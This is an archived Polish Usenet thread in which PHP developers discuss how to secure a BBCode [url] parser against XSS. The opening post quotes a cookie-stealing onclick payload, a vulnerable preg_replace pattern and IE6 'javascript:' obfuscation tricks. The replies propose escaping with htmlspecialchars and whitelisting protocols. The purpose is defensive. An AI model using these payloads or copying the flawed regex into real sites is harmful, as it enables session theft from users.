Google Groups no longer supports new Usenet posts or subscriptions. Historical content remains viewable.
Dismiss

BBCode [URL] i ochrona przed XSS

34 views
Skip to first unread message

WebCM

unread,
Mar 23, 2009, 3:13:42 PM3/23/09
to
Rozważmy przykład kodu BBCode:

[url=http://localhost"onclick="this.href='xxx'+document.cookie]amazing
stuff[/url]

Dziurawy kod parsujący linki ze Strefy PHP:

preg_replace('#\[url=(.*?)?(.*?)\](.*?)\[/url\]#si', '<a href="\\2">\
\3</a>', $xxx)

Jak zabezpieczyć stronę przed XSS? Czy należy:
1) nie dopuszczać znaku " w adresie strony - wystarczy we wzorcu
określić, które znaki mogą wystąpić
2) zamieniać " na &quot; - raczej nie obędzie się bez
preg_replace_callback

Można też zamieniać " na &quot; globalnie za pomocą htmlspecialchars()
bez drugiego parametru (tylko podwójny cudzysłów), ale nie można już
stosować tej zasady np. do tytułów, gdzie często liczy się ilość
znaków (" = 1, &quot; = 6).

Blokowanie konkretnych atrybutów nie widzi mi się - nigdy nie wiadomo,
gdzie pojawi się złośliwy kod. Nawet w style.

Kolejny problem - jak pominąć wnętrze znacznika [code] [/code] podczas
parsowania kodu BBCode? Trzeba wziąć pod uwagę, że oprócz http://
istnieją inne protokoły, np. svn://, gg:, ftp://

Błędem jest na pewno wykrywanie wyrazów java script: oraz vb script:
za pomocą str_replace(). Zadanie wykonuje str_ireplace(). IE 6 jest
szczególnym przypadkiem, w którym działają chwyty typu:

jav&#x0A;ascript:alert('XSS');
jav ascript:alert('XSS');

Najważniejsze, by nie przepuścić w atrybutach BBCode niedozwolonych
znaków i filtrować ściśle wszystkie dane pochodzące z zewnątrz. Zabawa
w usuwanie Unicode, HEX itd. raczej mija się z celem.

Nie wiem, jak poprawnie parsować URL-e. Ograniczanie wartości do
konkretnych znaków może spowodować, że niektóre adresy URL nie zostaną
wykryte. Co lepsze? Usuwanie " i innych niewygodnych elementów, czy
ograniczenie adresów URL do konkretnych znaków?


PS. Poniższy rexexp też NIE chroni przed XSS:
@\[url\]([A-Za-z0-9.].*?)?([A-Za-z0-9$-_.+!*\'(),#].*?)\[/url\]@si

Jordan Szubert

unread,
Mar 23, 2009, 3:29:44 PM3/23/09
to
Dnia 23-03-2009 o 20:13:42 WebCM <webc...@gmail.com> napisał(a):

> Rozważmy przykład kodu BBCode:
>
> [url=http://localhost"onclick="this.href='xxx'+document.cookie]amazing
> stuff[/url]
>
> Dziurawy kod parsujący linki ze Strefy PHP:
>
> preg_replace('#\[url=(.*?)?(.*?)\](.*?)\[/url\]#si', '<a href="\\2">\
> \3</a>', $xxx)
>
> Jak zabezpieczyć stronę przed XSS? Czy należy:
> 1) nie dopuszczać znaku " w adresie strony - wystarczy we wzorcu
> określić, które znaki mogą wystąpić
> 2) zamieniać " na &quot; - raczej nie obędzie się bez
> preg_replace_callback

hmm... a jakbys calosc przemielil htmlspecialchars, a potem parsowal BB?
nie wiem czy " moze byc w URL, ale & na pewno moze, a w HTML mocno
powinien (znaczy jak nie bedzie, to tylko blad, ale strona powinna dzialc
mimo to), a w XHTML absolutnie musi byc zamieniony na encje...

taki kod z palca moze by dzial:

$out=preg_replace('#\[url=([^\]]+)\](.*?)\[/url\]#i','<a
href="$1">$2</a>',htmlspecialchars($in));

nie znam specyfikacji BB, wiec pojecia nie mam czy jest dobrze...
> [...]

--
http://joru.olewales.ath.cx/

WebCM

unread,
Mar 23, 2009, 3:37:29 PM3/23/09
to
Dane z zewnątrz oczywiście filtruję, ale bez zamiany " i ' na encje.
Nie ma sensu tego robić np. w tytułach i innych danych, gdzie nie
występuje BBCode.

Tytuł " <hej> " po przejechaniu htmlspecialchars() bez II parametru
zawiera 13 znaków, a powinien 7. Operacje na takim ciągu znaków typu
"pokaż N znaków tytułu" kończą się niewłaściwym wynikiem.

Może to błąd. Można ewentualnie zamieniać dodatkowo " na encje w
parserze BBCode.

Bartosz Derleta

unread,
Mar 23, 2009, 3:44:36 PM3/23/09
to
WebCM pisze:

Hmm... ale przejechać tym htmlspecialchars to powinieneś dopiero przy
wyświetlaniu, a nie przy przechowywaniu tego w bazie/wherever...

--
Pozdrawiam,
Bartosz Derleta

WebCM

unread,
Mar 23, 2009, 3:53:04 PM3/23/09
to
Po co wywoływać htmlspecialchars() dla każdego elementu pochodzącego z
zewnątrz przy każdym wyświetleniu strony? Nawet bezpieczniej zrobić z
nimi porządek przy zapisie. :) Wracając do tematu, czy jest skuteczne
rozwiązanie, aby ochronić użytkowników przed XSS w znaczniku [URL] w
BBCode?

Bartosz Derleta

unread,
Mar 23, 2009, 4:03:16 PM3/23/09
to
WebCM pisze:

> Po co wywoływać htmlspecialchars() dla każdego elementu pochodzącego z
> zewnątrz przy każdym wyświetleniu strony? Nawet bezpieczniej zrobić z
> nimi porządek przy zapisie. :)

Bezpieczniej? Raczej dane w bazie powinno się przechowywać w postaci
"czystej", a do takich wersja z encjami chyba nie należy. Poza tym,
jeśli będziesz miał potem co innego zrobić z tymi samymi danymi (np.
wysłać mailem), co wtedy?

> Wracając do tematu, czy jest skuteczne
> rozwiązanie, aby ochronić użytkowników przed XSS w znaczniku [URL] w
> BBCode?

Tak. Normalnie, zapisuj to co wyciągniesz do bazy (nawet bez
czyszczenia), a przy wyświetlaniu htmlspecialchars i to wszystko.
Sprawdź tylko, czy na pewno z przodu jest http:// / https://.

--
Pozdrawiam,
Bartosz Derleta

Jordan Szubert

unread,
Mar 23, 2009, 4:11:33 PM3/23/09
to
Dnia 23-03-2009 o 20:37:29 WebCM <webc...@gmail.com> napisał(a):

> Dane z zewnątrz oczywiście filtruję, ale bez zamiany " i ' na encje.
> Nie ma sensu tego robić np. w tytułach i innych danych, gdzie nie
> występuje BBCode.

chyba mozna nie robic, ale IMO ladniej robic wszedzie zamiane wszyskich
znakow specjalnych...

> Tytuł " <hej> " po przejechaniu htmlspecialchars() bez II parametru
> zawiera 13 znaków, a powinien 7. Operacje na takim ciągu znaków typu
> "pokaż N znaków tytułu" kończą się niewłaściwym wynikiem.

ano... jakbys mial text w utf, to tez by mogla byc kaszana, bo PHP zwykle
traktuje tekst jako tablica bajtow, a w utf znak ma rozny rozmiar, czasem
bajt, czasem 2, czasem wiecej...
http://pornel.net/source/domlettersiterator.php to moze pomoc, ale wymaga
drzewa DOM...

> Może to błąd. Można ewentualnie zamieniać dodatkowo " na encje w
> parserze BBCode.

IMO htmlspecialchars() i potem regexp powinno dzialac dobrze... taki re
jak podalem eliminuje onclick, jak chcesz sie pozbyc rozniez
href="javascript:..." to trzeba podac dokladniej postac URLa...

--
http://joru.olewales.ath.cx/

Jordan Szubert

unread,
Mar 23, 2009, 4:17:02 PM3/23/09
to

tak, ale BB dekodujemy tez wtedy, do bazy powinno byc tylko escape'owanie
bazowe, a dekodowanie BB przy wypluwaniu, bo nie tylko escapeowanie zalezy
od tego, gdzie wypluwamy, ale to, do czego przerabiamy BB tez...
znaczy jesli wypluwamy do maila tekstowego, i nie robimy htmlsecialchars,
to BB tez nie przerabiamy na <a href="">, tylko na cos innego...
a jak mail HTMLowy, to i htmlsecialchars, i dekodowanie BB htmlowe, i
potem dopiero specyficzne mailowe escape'owanie...

--
http://joru.olewales.ath.cx/

Jordan Szubert

unread,
Mar 23, 2009, 4:20:35 PM3/23/09
to
Dnia 23-03-2009 o 20:53:04 WebCM <webc...@gmail.com> napisał(a):

> Po co wywoływać htmlspecialchars() dla każdego elementu pochodzącego z
> zewnątrz przy każdym wyświetleniu strony? Nawet bezpieczniej zrobić z
> nimi porządek przy zapisie. :)

zeby miec mozliwosc prezentowania danych w rony sposob: jak strona HTML,
mail, ...
ale jelsi jestes pewnien, ze zawsze bedzie na stronie, to mozesz przerobic
do HTMLa przy wprowadzaniu danych

> Wracając do tematu, czy jest skuteczne
> rozwiązanie, aby ochronić użytkowników przed XSS w znaczniku [URL] w
> BBCode?

moj sposob powinien byc bezpieczny... chyba ze widzisz cos, czego ja nie
dostrzegam...

--
http://joru.olewales.ath.cx/

porneL

unread,
Mar 23, 2009, 7:23:27 PM3/23/09
to
On Mon, 23 Mar 2009 20:20:35 -0000, Jordan Szubert <to_jest_pra...@mielonka.servebeer.com> wrote:

> zeby miec mozliwosc prezentowania danych w rony sposob: jak strona HTML,
> mail, ...
> ale jelsi jestes pewnien, ze zawsze bedzie na stronie, to mozesz
> przerobic do HTMLa przy wprowadzaniu danych

HTML trudniej obrabiać: strlen('&') != strlen('&amp;') (to wpływa na walidację danych wejściowych, max. wielkości w kolumnach, przycinanie tekstu, itp.)

Funkcje, które spodziewają się HTML z bazy mogą stać się niebezpieczne, gdy dostaną dane z innego źródła albo przez jakiegoś buga do bazy dostaną się niezakodowane dane.

--
http://pornel.net
this.author = new Geek("porneL");

WebCM

unread,
Mar 24, 2009, 10:43:45 AM3/24/09
to
Jeśli przechowuję niezaufane dane w bazie po przejechaniu ich funkcją
htmlspecialchars(), niech tak już zostanie. Chcę, aby znacznik URL był
interpretowany wtedy, gdy zawiera tylko dozwolone znaki. RegExp, który
podałem wyżej, przepuszcza wszystko - może coś nie tak zmieniłem. Jak
go poprawić? Może to złe podejście i lepiej przepuścić wszystkie
znaki, ale przez preg_replace_callback(), aby w funkcji pousuwać
wszystko, co niewygodne?

Jordan Szubert

unread,
Mar 24, 2009, 1:34:23 PM3/24/09
to

$out=preg_replace('#\[url=([^\]]+)\](.*?)\[/url\]#i','<a

href="$1">$2</a>',htmlspecialchars($in));

to zabezpiecza przed nielegalnymi znakami, znaczy je zamienia na encje,
wiec nie moga juz XSSowac...
mozna wyspecyfikowac postac URLa dokladniej, np. tak:
$out=preg_replace('#\[url=((?:ftp|https?)://[^\]]+)\](.*?)\[/url\]#i','<a

href="$1">$2</a>',htmlspecialchars($in));

wtedy mozna podac URL tylko zaczynajacy sie od protokolu ftp, http i
https, pseudoprotokol javascript juz nie przejdzie...
a, i zwroc uwage na to, ze w moim wzorze jest htmlspecialchars, jak juz
masz prze-htmlspecialchars-owane, to drugi raz tego nie rob...

--
http://joru.olewales.ath.cx/

WebCM

unread,
Mar 24, 2009, 3:20:17 PM3/24/09
to
Dane przechodzą przez htmlspecialchars() wcześniej, ale bez zamiany "
i '. To chyba można zrobić oddzielnie dla linków. I tak muszę
przepuścić URL-e przez callback, aby je skrócić, więc zastosuję tam
też odpowiednie zabezpieczenia. :)

Na koniec polecam stronę: http://ha.ckers.org/xss.html

Tak zachwalana Opera w wersji 9.2 jeszcze była podatna na sztuczki z
białymi znakami. IE 6 ma jeszcze więcej luk.

Teraz zabieram się za robotę i zobaczę, co z tego wyjdzie.

Jordan Szubert

unread,
Mar 24, 2009, 3:30:13 PM3/24/09
to
Dnia 24-03-2009 o 20:20:17 WebCM <webc...@gmail.com> napisał(a):

> Dane przechodzą przez htmlspecialchars() wcześniej, ale bez zamiany "
> i '. To chyba można zrobić oddzielnie dla linków.

no mozna tak cudowac, ale czemu nie dac normalnego htmlspecialchars() dla
wszyskiego?

> I tak muszę przepuścić URL-e przez callback, aby je skrócić, więc
> zastosuję tam
> też odpowiednie zabezpieczenia. :)
> Na koniec polecam stronę: http://ha.ckers.org/xss.html
>
> Tak zachwalana Opera w wersji 9.2 jeszcze była podatna na sztuczki z
> białymi znakami. IE 6 ma jeszcze więcej luk.
>
> Teraz zabieram się za robotę i zobaczę, co z tego wyjdzie.

--
http://joru.olewales.ath.cx/

WebCM

unread,
Apr 7, 2009, 1:50:02 PM4/7/09
to
Aby nie zamieniać " na &quot; (co skutkuje błędnymi obliczeniami i
zwiększeniem rozmiaru danych w bazie), w definicji funkcji Clean()
dodałem parametr NO_QUOTES do htmlspecialchars().

function Clean($val,$max=0,$wr=0)
{
if($max) $val = substr($val,0,$max);
if($wr)
{
static $words1,$words2;
include_once './cfg/words.php';
$val = str_replace($words1,$words2,$val); //Cenzura
}
return trim(htmlspecialchars($val,0)); //Gdzie 0 = NO_QUOTES
}

W efekcie zafundowałem SUPER XSS. Wszystkie pola formularza są podatne
na XSS. Czy usunąć dodatkowy parametr z funkcji htmlspecialchars()?
Czy inaczej rozwiązać kwestię XSS?

PS. Wolę zabezpieczać dane przed zapisem do bazy niż przy
wyświetlaniu.

Zaraz... Przechodzę na UTF-8, więc używanie " jako cudzysłowu będzie
bzdurą? Nawet w tytułach? Choć i tak wszyscy będą używać " zamiast
prawidłowych znaków.

porneL

unread,
Apr 7, 2009, 3:11:21 PM4/7/09
to
On Tue, 07 Apr 2009 18:50:02 +0100, WebCM <webc...@gmail.com> wrote:

> W efekcie zafundowa�em SUPER XSS. Wszystkie pola formularza s� podatne
> na XSS. Czy usun�� dodatkowy parametr z funkcji htmlspecialchars()?

Usun�� ca�� funkcj�. Albo co� jest HTML albo tekstem. Hybrydy p�-tekstowo-p�-HTMLowe prosz� si� o XSS albo widoczne niechciane encje/tagi na stronie.

> PS. Wolďż˝ zabezpieczaďż˝ dane przed zapisem do bazy niďż˝ przy
> wy�wietlaniu.

Czyli wolisz to robi� �le i przysparza� sobie k�opot�w.

Nie istnieje co� takiego jak bezpieczne albo niebezpieczne dane. Dane to dane. Jedynie program, kt�ry miesza dane z kodem jest niebezpieczny.

Po prostu przy generowaniu HTML musisz to robi� prawid�owo, a nie liczy� na to, �e nieprawid�owa obr�bka poszatkowanych danych da prawid�owy wynik.

0 new messages